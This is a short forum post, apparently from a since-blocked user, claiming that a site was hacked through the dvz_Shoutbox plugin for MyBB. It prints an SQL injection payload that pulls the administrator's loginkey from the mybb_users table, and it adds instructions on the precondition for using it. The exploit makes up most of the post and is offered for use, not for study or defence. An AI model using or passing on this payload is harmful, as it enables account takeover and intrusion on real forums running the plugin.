Пожалуйста, обратите внимание, что пользователь заблокирован
They have been hacked because their shoutbox.
dvz_Shoutbox is very, very vulnerable to different type of SQL errors.
"',(SELECT ASCII((RIGHT((select loginkey from mybb_users where uid=1),50)))*99),'')#
to make it useable you have to be able to post a thread. so the shoutbox can read it. Ty.